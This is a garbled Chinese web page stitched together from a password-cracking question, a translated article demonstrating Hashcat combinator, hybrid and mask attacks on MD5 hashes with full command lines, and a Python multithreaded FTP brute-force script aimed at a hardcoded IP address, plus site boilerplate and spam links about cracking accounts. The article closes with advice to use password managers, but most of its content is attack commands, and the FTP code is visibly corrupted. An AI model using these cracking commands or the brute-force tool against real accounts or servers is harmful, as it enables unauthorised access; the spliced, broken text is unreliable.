我有个txt需要密码,请问能怎么破解幸福密码txt掉呢

如何破解12位+字符的高强度密码?
看到这个标题,你肯定抱着怀疑的态度。破解 12+ 字符的密码,在理论上这是不可能的。因为按照安全专家的说法,想要破解一个 12+ 字符的高强度密码,大概需要 17134 年。
这里我只是说,如果我们利用一些现代硬件设备,如“预算”裂解装置,我们就能在一个相对合理的时间范围内,穷举出像 MD5,NTLM,SHA1等,这些标准快速散列算法。
通常,暴力破解这种方式,对于超过 8 个字符的标准快速散列算法加密的密码,一般被认为是无法破解的。
例如当我们对一种语言的特点,和不同人的不同习惯上分析发现,英语单词平均有 4.79 个字符长度,而一般情况下,人们会习惯性的使用多个单词组合来构建密码。有关更多破解工具及其使用的内容请参考 Amazon 上的 Hash Crack。
那么为什么12+字符的超强密码,容易受到攻击呢?
事实上,通常人们在创建大于10个字符以上的密码时,都会习惯性的使用一些常见的单词或短语组合来构建。之所以这样做,其实也很容易理解。
例如密码 “horsebattery123”比“GFj27ef8%k $ 39”记起来会更加容易。这已经不是一个“漏洞”的问题,而是人类的思维本能和行为习惯形成的。因此,这个问题也会一直存在我们的周围。
我当然赞同,使用XKCD那种漫画随机产生的四个单词作为密码。但是那只适用于非快速散列算法,如bcrypt。
在这篇文章,我将演示 Hashcat的组合及混合 两种攻击方式。这些例子将让你看到,攻击者是如何利用那些硬件设备,来对那些所谓的高强度密码,进行有效攻击的。
组合&混合 攻击背景
首先快速介绍一下这些攻击方法:
组合攻击:两个字典中的所有单词都相互附加。
dictionary1.txt dictionary2.txt
pass =& password, passpass, passlion
word =& wordpass, wordword, wordlion
lion =& lionpass, lionword, lionlion
混合攻击:字典攻击,但具有附加/前置一个暴力掩码的能力。
dictionary.txt ?u?l?l
pass =& passAbc, passBcd, passCde
word =& wordAbc, wordBcd, wordCde
lion =& lionAbc, lionBcd, lionCde
**进一步的解释可以在 Hashcat 的网站上找到。
让我们来看看组合攻击这种方式,是如何帮助我们组合英语单词的密码的。在这里,我推荐大家使用Google的10,000 个最常见的单词列表,作为我们组合的字典。
这10000个最常见的单词列表,是由Google的Trillion单词库的n-gram频率分析而确定。 现在让我们使用两个随机选择的英语单词,组合形成一个16个字符的密码,如shippingnovember。
如果这是一个通过 MD5 加密的密码,那么我们该如何使用 Hashcat 的组合攻击这个密码:
例如:hashcat -a 1 -m 0 hash.txt google-10000.txt google-10000.txt
通过使Hashcat将该列表中的每个字词彼此组合,并结合一些性能较好的硬件设备,密码在不到1 秒内就被破解出来。目前这种破解方法并不过时,它对那些中等较慢的哈希类型效果依然不错。
在这里也许有人会说,“我用的shippingnovember全部为小写字母,因此能成功破解出来,但是如果随意做个改动,例如增加特殊字符,字母大小写变化等,如:ShippingNovember这个形式就不一定能成功。
那么,就让我们来快速测试一下吧。首先我使用Hashcat的“combinator.bin”将google的字典列表合并成一个单独的字典。
例如:combinator.bin google-10000.txt google-10000.txt & google-10000-combined.txt
接着我们就可以使用Hashcat结合这个新生成的,基于规则的字典文件,爆破修改大小写后密码ShippingNovember:
例如:hashcat -a 0 -m 0 hash.txt google-10000-combined.txt -r best64.rule
这里我们用时 28 秒,成功爆破!
现在让我们来看看,由三个单词随机组成的短语密码,如“securityobjectivesbulletin”…看起来不错吧?
上面我们刚刚创建了新的 “google-10000-combined.txt” 字典文件,下面我们可以继续使用上面的方式,将由两个单词组合的字典同单个单词的字典列表进行组合:
例如:hashcat -a 1 -m 0 hash.txt google-10000-combined.txt google-10000.txt
如果添加了一些字符变体,但是因为你可以看到直接的随机英语单词落在2秒钟,这可能会有点更困难。 你在这里看到一个趋势吗?
理论上来说我们添加了字符数量,破解起来也应该会更加困难耗时,但这里我们只用了2秒左右时间,就成功破解出来了!在这里,你看到什么趋势了吗?
接着,让我们去尝试攻击下XKCD介绍的使用4个随机英语单词,来生成一个新密码“sourceinterfacesgatheredartists”。在这里我们多增加了一个单词,这也意味着我们的破解范围更加庞大。
它的组合大概在键盘有10,000,000,000,000,000多种的可能性。但是即便如此,它的强度也会大打折扣。因为,在这里我们使用的为MD5散列函数。下面,我将使用 Hashcat 并结合新创建的“combined”字典,再次执行组合攻击:
例如:hashcat -a 1 -m 0 hash.txt google-10000-combined.txt google-10000-combined.txt
这个破解尝试,可能需要4天左右的时间才能完成。但幸运的是,我们发现我们只用了5小时35分钟就成功爆破了出来。
如果对这个密码做简单的修改,例如:添加数字或特殊字符,都会使这个密码超出我们的范围,但是再次随机的通用词是不匹配的。
混合攻击 Google-10000 + 掩码
对于第一个示例,我将使用之前在组合攻击演示中的 google-10000.txt字典表,来作为我们爆破的基本单词列表。
然后我将使用PACK(密码分析和破解工具包)和来自网站上的hashesorg251015.txt字典做演示。
我之所以选择使用hashesorg字典,是因为它的效率相对较高评级为 65.9,并且字典的体积也相对较小。
我们需要做的是分析hashesorg的数据集,并根据一定的字符长度,来创建基于最流行的密码模式的掩码。这些掩码将被 附加/添加 到我们的google-10000.txt单词列表,并形成一个有效的混合攻击。
生成5-6个字符长度的混合掩码密码,并输出到掩码文件。(注意这可能需要等待一段时间)
python statsgen.py hashesorg251015.txt –minlength=5 –maxlength=6 –hiderare -o hashesorg_5or6.masks
接着,让我们将生成的掩码文件格式,转换为 Hashcat可以无缝使用的.hcmasks格式文件。
python maskgen.py hashesorg_5or6.masks –optindex -o hashesorg_5or6.hcmask
现在我们就可以使用Hashcat中的攻击模式6,并结合新创建的hashesorg掩码文件,来进行混合攻击了。这将启动一个有序的攻击,从第一个掩码开始,并沿着列表向下逐一尝试。
有的攻击可能会进行的很快,有些则可能需要一段时间。为了达到我们测试的目的,我们这里将使用一个随机密码 “environmentsqaz472”我们知道最终我们将会成功爆破!
例如:hashcat -a 6 -m 0 hash.txt google-1000.txt hashesorg_5or6.hcmask
这次攻击花了将近 20 分钟的时间。前面的格式转换占用了我们大部分时间,而从攻击开始到成功爆破,却只用 14 秒。
Rockyou + Rockyou-1-60.hcmask
现在,让我们使用从 Rockyou 密码数据集派生的 Hashcat 的内置掩码。 Hashcat 中的 rockyou 掩码,已经被分割成更小的块,其大小基于编号而不断增加。
我将使用最小的 .hcmask 文件 rockyou-1-60,因为它包含较高的概率掩码,非常适用于这种混合攻击模式。我们还将把这个与实际的 Rockyou 密码配对,可以在 Skullsecurity 上找到。
当你将掩码与字典配对时,请务必确保字典体积不会过于庞大,否则你的攻击将会话费很长的时间。就我个人而言,我喜欢将我的混合攻击字典大小控制在 500M 以内,甚至更小。
让我们从 Rockyou 字典随机抽取密码 “sophia **!”,然后我们再添加一个任意日期 “1996”,密这样就产生了一个码 1996sophia **! 前面好比是用户名,后面则是出生年份。
下面我们就可以开始尝试攻击了,这次攻击我将把 rockyou-1-60 数据集中顺序包含的掩码列表,附加给 Rockyou 字典中包含的所有密码。
例如:hashcat -a 7 -m 0 hash.txt rockyou-1-60.hcmask rockyou.txt
这种攻击,用不到几分钟就会命中一个?d?d?d?d 的掩码。这也是为了演示目的,但其充分展示了混合攻击的攻击过程及威力。
rockyou-1-60.hcmask 中共包含了 836 个不同的掩码,如果你觉得依然不够,则 Hashcat 将会自动包含 rockyou 数据集中的的所有掩码。
Cut First 5 Chars + 掩码
让我们来创建一个自己的字典和掩码,来配合我们的混合攻击。在文章开头我们已经知道了,平均英语单词为 4.79 个字符 长。
因此,我们创建的字典将最多包含 5 个字符长度。在这个例子中,我们将再次使用 rockyou.txt 字典。我们将使用 cut 命令,将截取字典中的前 5 个字符,并按顺序将其追加到一个名为 first5_dict.txt 的文件内。
根据你硬件的性能,将决定你字典的生成时间。你可能会注意到,这个新生成的字典文件体积非常的小,只有 18MB。但是对于非快速散列算法,这是一个非常完美的字典文件。
例如:cut -c 1-5 rockyou.txt | sort -u & first5_dict.txt
下面,让我们将新生成的 first5_dict.txt 字典与 Hashcat 中的 rockyou-1-60 掩码配对。现在,我们来随机生成一个密码。
这里我在 first5_dict.txt 字典文件中,随机选择了 Alty5 和 随机数字 9402847 的组合,来作为我的密码,即 Alty。
例如:hashcat -a 6 -m 0 hash.txt first5_dict.txt rockyou-1-60.hcmask
这种攻击,对于那些喜欢使用相同的基本单词或数字作为密码,并且将账户作为附加或预置 “随机”码的用户,尤为有效!从结果我们可以看到,在30分钟内,我们就成功破解出了密码。
直接通过掩码攻击 12+ 字符密码
让我们再次使用 rockyou.txt 字典,来作为例子生成这些掩码。但在此之前,先让我们先来测试下我们的机器,对 md5 哈希爆破的速度。
例如(MD5):hashcat -b -m 0
从以上测试结果得知,我们的机器破解速度为 760亿每秒(76,000,000,000 c / s),让我们使用 PACK从rockyou.txt字典,来创建新的掩码。
例如:python statsgen.py rockyou.txt -o rockyou.masks
下面我们就可以来生成我们的 Hashcat hcmask文件了,我们设定攻击速度为 1 天(86400秒),攻击范围涵盖 12-15 的字符长度。
例如:pythong maskgen.py rockyou.masks –optindex –minlength=12 –maxlength=15 –targettime=86400 –pps= -o rockyou_12-15.hcmask
当成功生成掩码文件后,我们就可以使用 rockyou_12-15.hcmask文件,来对md5哈希进行爆破了。如果顺利的话,那么我们将会在一天内爆破出结果。
例如:hashcat -a 3 -m 0 hash.txt rockyou_12-15.hcmask
通过以上的介绍及演示,相信你已经意识到,密码的安全与否,并不是单单取决于字符的长短的。如果想要更好的保护你的账户,不被他人窃取。那么,你必须摒弃一些你的坏习惯。
例如:使用一些常见的单词或短语组合,或者全部采用小写字母或纯数字等来构建你的密码。这些都有可能,给你账号带来安全隐患!因此,在这里我强烈建议大家,尽可能的使用一些密码管理器,例如像 1Password和 Keepass 这类的应用。
*参考来源 :securitynewspaper,FB小编 secist 编译,转载请注明来自FreeBuf()
责任编辑:
声明:本文由入驻搜狐号的作者撰写,除搜狐官方账号外,观点仅代表作者本人,不代表搜狐立场。君,已阅读到文档的结尾了呢~~
扫扫二维码,随身浏览文档
手机或平板扫扫即可继续访问
2011年最新找回QQ密码方法.txt
举报该文档为侵权文档。
举报该文档含有违规或不良信息。
反馈该文档无法正常浏览。
举报该文档为重复文档。
推荐理由:
将文档分享至:
分享完整地址
文档地址:
粘贴到BBS或博客
flash地址:
支持嵌入FLASH地址的网站使用
html代码:
&embed src='/DocinViewer-4.swf' width='100%' height='600' type=application/x-shockwave-flash ALLOWFULLSCREEN='true' ALLOWSCRIPTACCESS='always'&&/embed&
450px*300px480px*400px650px*490px
支持嵌入HTML代码的网站使用
您的内容已经提交成功
您所提交的内容需要审核后才能发布,请您等待!
3秒自动关闭窗口python编写暴力破解FTP密码小工具
投稿:hebedich
字体:[ ] 类型:转载 时间:
本文给大家分享了一段自己用python编写的暴力破解FTP密码的小工具的代码,原理很简单,就是利用多线程调用相应的字典进行穷举测试,小伙伴们可以自由修改。
python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。
下面直接上代码,下面是主文件
import time
import threading
class mythread(threading.Thread):
def __init__(self,command):
threading.Thread.__init__(self)
mand=command
def run(self):
kk=os.mand)
ushand=open(“user.txt”,”r”)
pshand=open(“passwd.txt”,”r”)
listuser=[]
listpass=[]
for us in open(“user.txt”,”r”):
lineus=ushand.readline().strip(‘\n')
listuser.append(lineus)
for ps in open(“passwd.txt”,”r”):
lineps=pshand.readline().strip(‘\n')
listpass.append(lineps)
for i in listuser:
for j in listpass:
command=”ftp.py %s %s” %(i,j)
print command
my_thread=mythread(command)
my_thread.start()
time.sleep(0.1)
相应的文件里面的代码如下
import ftplib
import socket
import sys
ftp=ftplib.FTP('121.54.175.204′)
user=sys.argv[1]
passwd=sys.argv[2]
hand=open(‘aa.txt','a+')
hand.write(user+”:”+passwd+”\n”)
except ftplib.error_perm:
print “passwd is world”
由于插不近格式,里面的缩进的什么的得自己手动再调节一下
需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。
代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。
您可能感兴趣的文章:
大家感兴趣的内容
12345678910
最近更新的内容
常用在线小工具}

我要回帖

更多关于 小米账号万能破解密码 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信